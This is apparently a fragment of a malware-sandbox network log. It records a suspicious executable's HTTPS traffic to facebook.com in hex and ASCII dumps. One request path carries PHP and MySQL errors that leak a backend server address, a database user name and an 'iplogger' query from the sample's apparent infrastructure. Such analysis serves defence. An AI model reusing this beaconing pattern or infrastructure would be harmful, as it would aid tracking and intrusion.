2022-10-08 09:34:27 UTC	276	IN	Data Raw: 62 5f 63 4f 71 30 6c 4c 64 67 32 4d 6b 75 68 67 5f 6b 41 70 64 70 4c 2d 53 79 73 61 62 31 66 67 67 6b 69 76 75 6f 67 69 76 5f 7a 69 62 6d 35 75 38 69 31 37 73 6d 52 52 46 54 73 4b 61 62 72 7a 6d 7a 73 33 71 4c 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 32 36 38 32 22 2c 5b 22 77 61 72 6e 69 6e 67 42 6c 75 65 69 73 68 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 77 61 72 6e 69 6e 67 42 6c 75 65 69 73 68 22 2c 22 41 61 31 58 62 36 62 5a 78 6b 6f 4f 78 79 76 4a 4f 4c 72 46 71 56 39 50 76 37 6a 51 4a 68 46 72 78 5f 73 6a 46 47 79 6e 59 5f 4c 42 4f 55 72 45 38 35 52 47 4f 6e 6b 78 6d 55 37 69 43 44 5a 6f 62 6f 31 46 6e 5f 51 57 38 7a 34 32 68 6e 30 31 43 46 36 41 4d 45 75 70 58 66 67 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 32 30 32 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e Data Ascii: b_cOq0lLdg2Mkuhg_kApdpL-Sysab1fggkivuogiv_zibm5u8i17smRRFTsKabrzmzs3qL"]},-1],["cr:2682",["warningBlueish"],{__rc:["warningBlueish","Aa1Xb6bZxkoOxyvJOLrFqV9Pv7jQJhFrx_sjFGynY_LBOUrE85RGOnkxmU7iCDZobo1Fn_QW8z42hn01CF6AMEupXfg"]},-1],["cr:11202",[],{__rc:[n
2022-10-08 09:34:27 UTC	277	IN	Data Raw: 61 63 74 2d 70 72 6f 64 2e 63 6c 61 73 73 69 63 22 2c 22 41 61 31 79 5f 35 44 57 6d 71 63 42 59 51 30 32 30 57 76 57 4a 4b 6d 5f 62 63 57 73 56 33 4a 69 66 38 43 47 4f 4a 65 65 31 72 58 53 37 62 6c 4a 78 63 32 4e 68 68 79 48 62 36 55 48 42 6c 61 47 6d 70 38 4b 75 4a 34 73 49 71 4c 6f 76 77 6b 50 45 67 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 33 34 34 34 38 35 22 2c 5b 22 52 65 61 63 74 44 4f 4d 2e 63 6c 61 73 73 69 63 2e 70 72 6f 64 2d 6f 72 2d 70 72 6f 66 69 6c 69 6e 67 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 52 65 61 63 74 44 4f 4d 2e 63 6c 61 73 73 69 63 2e 70 72 6f 64 2d 6f 72 2d 70 72 6f 66 69 6c 69 6e 67 22 2c 22 41 61 31 79 5f 35 44 57 6d 71 63 42 59 51 30 32 30 57 76 57 4a 4b 6d 5f 62 63 57 73 56 33 4a 69 66 38 43 47 4f 4a 65 65 31 72 58 53 37 62 6c 4a Data Ascii: act-prod.classic","Aa1y_5DWmqcBYQ020WvWJKm_bcWsV3Jif8CGOJee1rXS7blJxc2NhhyHb6UHBlaGmp8KuJ4sIqLovwkPEg"]},-1],["cr:1344485",["ReactDOM.classic.prod-or-profiling"],{__rc:["ReactDOM.classic.prod-or-profiling","Aa1y_5DWmqcBYQ020WvWJKm_bcWsV3Jif8CGOJee1rXS7blJ
2022-10-08 09:34:27 UTC	279	IN	Data Raw: 7d 2c 31 34 32 5d 2c 5b 22 54 72 61 63 6b 69 6e 67 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 64 6f 6d 61 69 6e 3a 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 22 7d 2c 33 32 35 5d 2c 5b 22 63 72 3a 31 33 35 31 37 34 31 22 2c 5b 22 43 6f 6d 65 74 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 43 6f 6d 65 74 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 2c 22 41 61 31 50 6d 46 69 6e 76 35 4e 70 31 6a 68 5f 79 39 4a 6b 7a 51 68 48 61 75 44 57 49 2d 74 35 56 66 30 31 33 54 4b 78 37 41 32 49 6f 4a 4b 45 50 75 51 44 46 47 71 6e 4d 70 6d 75 4d 46 75 58 75 33 73 2d 34 71 63 62 70 32 5f 65 72 6b 73 49 4c 48 57 6a 63 36 74 51 55 47 36 56 4f 63 72 65 36 49 47 4a 34 69 6f 4b 4d 6b 64 36 53 78 75 65 36 77 4a 6d 22 5d Data Ascii: },142],["TrackingConfig",[],{domain:"https://pixel.facebook.com"},325],["cr:1351741",["CometEventListener"],{__rc:["CometEventListener","Aa1PmFinv5Np1jh_y9JkzQhHauDWI-t5Vf013TKx7A2IoJKEPuQDFGqnMpmuMFuXu3s-4qcbp2_erksILHWjc6tQUG6VOcre6IGJ4ioKMkd6Sxue6wJm"]
2022-10-08 09:34:27 UTC	280	IN	Data Raw: 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 Data Ascii: /database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/include
2022-10-08 09:34:27 UTC	281	IN	Data Raw: 55 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 72 64 73 3a 7b 6d 3a 5b 22 43 6f 6e 74 65 78 74 75 61 6c 43 6f 6e 66 69 67 22 2c 22 42 6c 61 64 65 52 75 6e 6e 65 72 43 6c 69 65 6e 74 22 2c 22 44 47 57 52 65 71 75 65 73 74 53 74 72 65 61 6d 43 6c 69 65 6e 74 22 2c 22 4d 71 74 74 4c 6f 6e 67 50 6f 6c 6c 69 6e 67 52 75 6e 6e 65 72 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 5d 2c 72 3a 5b 22 61 75 42 30 62 4e 72 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 2f 6f 35 59 76 4f 32 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 47 44 70 76 74 4b 33 22 2c 22 64 48 73 4a 51 36 79 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 63 59 55 33 63 33 32 22 2c 22 52 50 4c 48 38 6a 67 22 2c 22 6e 36 57 34 78 4d 48 22 5d 7d 2c 62 65 3a 31 Data Ascii: U","07JSiP0"],rds:{m:["ContextualConfig","BladeRunnerClient","DGWRequestStreamClient","MqttLongPollingRunner","BanzaiScuba_DEPRECATED"],r:["auB0bNr","8zbEZtu","/o5YvO2","dAxX0jj","GDpvtK3","dHsJQ6y","hKY0QKT","BIylKC4","cYU3c32","RPLH8jg","n6W4xMH"]},be:1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49709	157.240.20.35	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
2022-10-08 09:34:43 UTC	282	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-10-08 09:34:43 UTC	284	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: WVI5LyqRPGcedaEDdhbtqsb6jdphI5bhQ06OXtk9464/lwYObbB0OqZ42JN/Y92nP9r5UhEQCTYW3vL+FL65IA== Date: Sat, 08 Oct 2022 09:34:43 GMT Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-10-08 09:34:43 UTC	284	IN	Data Raw: 37 66 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 51 49 6d 73 50 5a 65 46 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 72 Data Ascii: 7f8<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="QImsPZeF">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requir
2022-10-08 09:34:43 UTC	285	IN	Data Raw: 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 49 6d 73 50 5a 65 46 22 3e 3c 2f 73 74 79 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 Data Ascii: on b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="QImsPZeF"></style><script nonce="
2022-10-08 09:34:43 UTC	286	IN	Data Raw: 31 39 36 61 0d 0a 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 Data Ascii: 196a3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%
2022-10-08 09:34:43 UTC	288	IN	Data Raw: 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 Data Ascii: C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name
2022-10-08 09:34:43 UTC	289	IN	Data Raw: 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f Data Ascii: bnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STO
2022-10-08 09:34:43 UTC	291	IN	Data Raw: 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 36 71 62 77 33 50 51 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6f 2f 6c 2f 30 2c 63 72 6f 73 73 2f 58 48 77 75 41 5f 5f 34 32 41 66 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 34 42 47 54 6d 43 37 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 Data Ascii: tloader-hash="6qbw3PQ" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yo/l/0,cross/XHwuA__42Af.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="4BGTmC7" /><link type="text/css" rel="stylesheet" href="https://static.xx
2022-10-08 09:34:43 UTC	292	IN	Data Raw: 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 55 37 71 47 30 36 70 39 73 46 36 75 38 58 35 59 22 7d 2c 22 36 37 36 38 33 38 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 6e 4e 31 65 68 54 39 79 71 2d 32 71 36 4a 78 41 22 7d 2c 22 31 32 31 37 31 35 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 42 37 59 6d 6c 6c 4f 73 41 72 6e 4b 36 70 30 67 22 7d 2c 22 31 35 35 34 38 32 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 7a 75 65 47 4c 68 47 6f 30 63 54 35 78 44 4e 77 22 7d 2c 22 31 37 33 38 34 38 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 63 58 33 37 6f 51 63 6f 36 Data Ascii: sult":false,"hash":"AT4U7qG06p9sF6u8X5Y"},"676838":{"result":false,"hash":"AT6nN1ehT9yq-2q6JxA"},"1217157":{"result":false,"hash":"AT6B7YmllOsArnK6p0g"},"1554827":{"result":false,"hash":"AT7zueGLhGo0cT5xDNw"},"1738486":{"result":false,"hash":"AT4cX37oQco6
2022-10-08 09:34:43 UTC	293	IN	Data Raw: 31 31 63 38 39 0d 0a 78 73 22 2c 22 63 68 65 63 6b 70 6f 69 6e 74 5f 64 61 74 61 22 2c 22 63 6f 64 65 22 5d 7d 2c 31 33 37 5d 2c 5b 22 43 6f 6d 65 74 50 65 72 73 69 73 74 51 75 65 72 79 50 61 72 61 6d 73 22 2c 5b 5d 2c 7b 22 72 65 6c 61 74 69 76 65 22 3a 7b 7d 2c 22 64 6f 6d 61 69 6e 22 3a 7b 7d 7d 2c 36 32 33 31 5d 2c 5b 22 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 22 2c 5b 5d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 22 7d 2c 36 34 32 31 5d 2c 5b 22 43 75 72 72 65 6e 74 41 64 41 63 63 6f 75 6e 74 49 6e 69 74 69 61 6c 44 61 74 61 22 2c 5b 5d 2c 7b 22 41 44 5f 41 43 43 4f 55 4e 54 5f 49 44 22 3a 6e 75 6c 6c 7d 2c 36 38 32 38 5d 2c 5b 22 42 6f 6f 74 6c 6f 61 64 65 72 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 66 65 72 42 6f 6f 74 Data Ascii: 11c89xs","checkpoint_data","code"]},137],["CometPersistQueryParams",[],{"relative":{},"domain":{}},6231],["CookieDomain",[],{"domain":"facebook.com"},6421],["CurrentAdAccountInitialData",[],{"AD_ACCOUNT_ID":null},6828],["BootloaderConfig",[],{"deferBoot
2022-10-08 09:34:43 UTC	294	IN	Data Raw: 47 45 52 5f 4f 4e 4c 59 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 44 45 41 43 54 49 56 41 54 45 44 5f 41 4c 4c 4f 57 45 44 5f 4f 4e 5f 4d 45 53 53 45 4e 47 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 4d 45 53 53 45 4e 47 45 52 5f 43 41 4c 4c 5f 47 55 45 53 54 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 57 4f 52 4b 5f 4d 45 53 53 45 4e 47 45 52 5f 43 41 4c 4c 5f 47 55 45 53 54 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 57 4f 52 4b 52 4f 4f 4d 53 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 41 50 50 5f 49 44 22 3a 22 32 35 36 32 38 31 30 34 30 35 35 38 22 2c 22 49 53 5f 42 55 53 49 4e 45 53 53 5f 44 4f 4d 41 49 4e 22 3a 66 61 6c 73 65 7d 2c 32 37 30 5d 2c 5b 22 44 54 53 47 49 6e 69 74 69 61 6c 44 61 74 61 22 2c 5b 5d 2c 7b 7d 2c 32 35 38 Data Ascii: GER_ONLY_USER":false,"IS_DEACTIVATED_ALLOWED_ON_MESSENGER":false,"IS_MESSENGER_CALL_GUEST_USER":false,"IS_WORK_MESSENGER_CALL_GUEST_USER":false,"IS_WORKROOMS_USER":false,"APP_ID":"256281040558","IS_BUSINESS_DOMAIN":false},270],["DTSGInitialData",[],{},258
2022-10-08 09:34:43 UTC	296	IN	Data Raw: 22 6b 69 6c 6c 65 64 22 3a 7b 22 5f 5f 73 65 74 22 3a 5b 22 4d 4c 48 55 42 5f 46 4c 4f 57 5f 41 55 54 4f 52 45 46 52 45 53 48 5f 53 45 41 52 43 48 22 2c 22 4e 45 4b 4f 5f 44 49 53 41 42 4c 45 5f 43 52 45 41 54 45 5f 46 4f 52 5f 53 41 50 22 2c 22 45 4f 5f 44 49 53 41 42 4c 45 5f 53 59 53 54 45 4d 5f 53 45 52 49 41 4c 5f 4e 55 4d 42 45 52 5f 46 52 45 45 5f 54 59 50 49 4e 47 5f 49 4e 5f 43 50 45 5f 4e 4f 4e 5f 43 4c 49 45 4e 54 22 2c 22 4d 4f 42 49 4c 49 54 59 5f 4b 49 4c 4c 5f 4f 4c 44 5f 56 49 53 49 42 49 4c 49 54 59 5f 50 4f 53 49 54 49 4f 4e 5f 53 45 54 54 49 4e 47 22 2c 22 57 4f 52 4b 50 4c 41 43 45 5f 44 49 53 50 4c 41 59 5f 54 45 58 54 5f 45 56 49 44 45 4e 43 45 5f 52 45 50 4f 52 54 49 4e 47 22 2c 22 42 55 53 49 4e 45 53 53 5f 49 4e 56 49 54 45 5f 46 Data Ascii: "killed":{"__set":["MLHUB_FLOW_AUTOREFRESH_SEARCH","NEKO_DISABLE_CREATE_FOR_SAP","EO_DISABLE_SYSTEM_SERIAL_NUMBER_FREE_TYPING_IN_CPE_NON_CLIENT","MOBILITY_KILL_OLD_VISIBILITY_POSITION_SETTING","WORKPLACE_DISPLAY_TEXT_EVIDENCE_REPORTING","BUSINESS_INVITE_F
2022-10-08 09:34:43 UTC	297	IN	Data Raw: 55 53 6a 22 2c 22 38 4e 41 63 65 45 79 39 4a 5a 6f 22 2c 22 37 46 4f 49 7a 6f 73 36 58 4a 58 22 2c 22 72 66 38 4a 45 50 47 67 4f 69 22 2c 22 34 6a 33 36 53 56 7a 76 50 33 77 22 2c 22 34 4e 53 71 33 5a 43 34 53 63 45 22 2c 22 35 33 67 43 78 4b 71 32 38 31 47 22 2c 22 33 79 7a 7a 77 42 59 37 4e 70 6a 22 2c 22 31 6f 6e 7a 49 76 30 6a 48 36 48 22 2c 22 38 50 6c 4b 75 6f 77 61 66 65 38 22 2c 22 31 6e 74 6a 5a 32 7a 67 66 30 33 22 2c 22 34 53 49 48 32 47 52 56 58 35 57 22 2c 22 32 64 68 71 52 6e 71 58 47 4c 51 22 2c 22 32 57 67 69 4e 4f 72 48 56 75 43 22 2c 22 61 6d 4b 48 62 34 43 77 34 57 49 22 2c 22 38 72 44 76 4e 39 76 57 64 41 4b 22 2c 22 35 42 64 7a 57 47 6d 66 76 72 41 22 2c 22 44 44 5a 68 6f 67 49 31 39 57 22 2c 22 61 63 72 4a 54 68 39 57 47 64 70 22 2c Data Ascii: USj","8NAceEy9JZo","7FOIzos6XJX","rf8JEPGgOi","4j36SVzvP3w","4NSq3ZC4ScE","53gCxKq281G","3yzzwBY7Npj","1onzIv0jH6H","8PlKuowafe8","1ntjZ2zgf03","4SIH2GRVX5W","2dhqRnqXGLQ","2WgiNOrHVuC","amKHb4Cw4WI","8rDvN9vWdAK","5BdzWGmfvrA","DDZhogI19W","acrJTh9WGdp",
2022-10-08 09:34:43 UTC	299	IN	Data Raw: 72 65 70 6f 72 74 4f 6e 6c 79 22 3a 66 61 6c 73 65 7d 2c 34 35 34 38 5d 2c 5b 22 57 65 62 43 6f 6e 6e 65 63 74 69 6f 6e 43 6c 61 73 73 53 65 72 76 65 72 47 75 65 73 73 22 2c 5b 5d 2c 7b 22 63 6f 6e 6e 65 63 74 69 6f 6e 43 6c 61 73 73 22 3a 22 45 58 43 45 4c 4c 45 4e 54 22 7d 2c 34 37 30 35 5d 2c 5b 22 43 6f 6d 65 74 41 6c 74 70 61 79 4a 73 53 64 6b 49 66 72 61 6d 65 41 6c 6c 6f 77 65 64 44 6f 6d 61 69 6e 73 22 2c 5b 5d 2c 7b 22 61 6c 6c 6f 77 65 64 5f 64 6f 6d 61 69 6e 73 22 3a 5b 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 69 76 65 2e 61 64 79 65 6e 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 6e 74 65 67 72 61 74 69 6f 6e 2d 66 61 63 65 62 6f 6f 6b 2e 70 61 79 75 2e 69 6e 22 2c 22 68 74 74 70 73 3a 5c 2f 5c 2f 66 61 63 65 62 6f 6f 6b 2e 70 61 79 75 6c Data Ascii: reportOnly":false},4548],["WebConnectionClassServerGuess",[],{"connectionClass":"EXCELLENT"},4705],["CometAltpayJsSdkIframeAllowedDomains",[],{"allowed_domains":["https:\/\/live.adyen.com","https:\/\/integration-facebook.payu.in","https:\/\/facebook.payul
